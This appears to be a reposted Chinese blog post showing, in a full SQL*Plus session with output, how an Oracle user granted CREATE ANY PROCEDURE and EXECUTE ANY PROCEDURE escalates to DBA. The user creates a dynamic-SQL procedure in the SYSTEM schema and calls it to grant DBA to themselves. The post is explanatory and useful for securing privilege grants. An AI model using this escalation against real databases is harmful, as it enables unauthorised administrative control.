给一个用户授予CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE带来的后果

原文地址：http://blog.itpub.net/16162908/viewspace-594904/

给一个用户授予CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE带来的后果。
创建一个新用户，并且给这个用户授予CREATE SESSION的权限，使其能连接到会话。
SQL> CONN / AS SYSDBA
Connected.
SQL> CREATE USER JACKY IDENTIFIED BY JACKY;
User created.
SQL> GRANT CREATE SESSION TO JACKY;
Grant succeeded.
以JACKY用户登陆到数据库
SQL> CONN JACKY/JACKY
Connected.
SQL> SELECT * FROM SESSION_ROLES;
no rows selected
SQL> SELECT * FROM SESSION_PRIVS;
PRIVILEGE
----------------------------------------
CREATE SESSION
可以看到JACKY 用户只有CREATE SESSION的权限。
现在授予JACKY用户 CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE的权限。

SQL> GRANT EXECUTE ANY PROCEDURE TO JACKY;
Grant succeeded.
SQL> GRANT CREATE ANY PROCEDURE TO JACKY;
Grant succeeded.
切换到JACKY用户所在的会话，执行下面的查询：
SQL> SELECT * FROM SESSION_ROLES;
no rows selected
SQL> SELECT * FROM SESSION_PRIVS;
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE
可以看到JACKY用户具有下面的权限了。
在JACKY用户下创建下面的存储过程：

SQL> SHOW USER
USER is "JACKY"
SQL> CREATE OR REPLACE PROCEDURE SYSTEM.GRANT_PRIVS(P_TEXT VARCHAR2)
2 IS
3 BEGIN
4 EXECUTE IMMEDIATE P_TEXT;
5 END;
6 /
Procedure created.
执行下面的存储过程：
SQL> EXECUTE SYSTEM.GRANT_PRIVS('GRANT DBA TO JACKY');
PL/SQL procedure successfully completed.
以JACKY用户重新登陆一下数据库

SQL> CONN JACKY/JACKY;
Connected.
SQL> SELECT * FROM SESSION_ROLES;
ROLE
------------------------------
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
SCHEDULER_ADMIN
WM_ADMIN_ROLE
JAVA_ADMIN
ROLE
------------------------------
JAVA_DEPLOY
XDBADMIN
XDBWEBSERVICES
OLAP_DBA
15 rows selected
SQL> SELECT COUNT(*) FROM SESSION_PRIVS;
COUNT(*)
----------
161
可以看到JACKY用户给自己加了很多权限。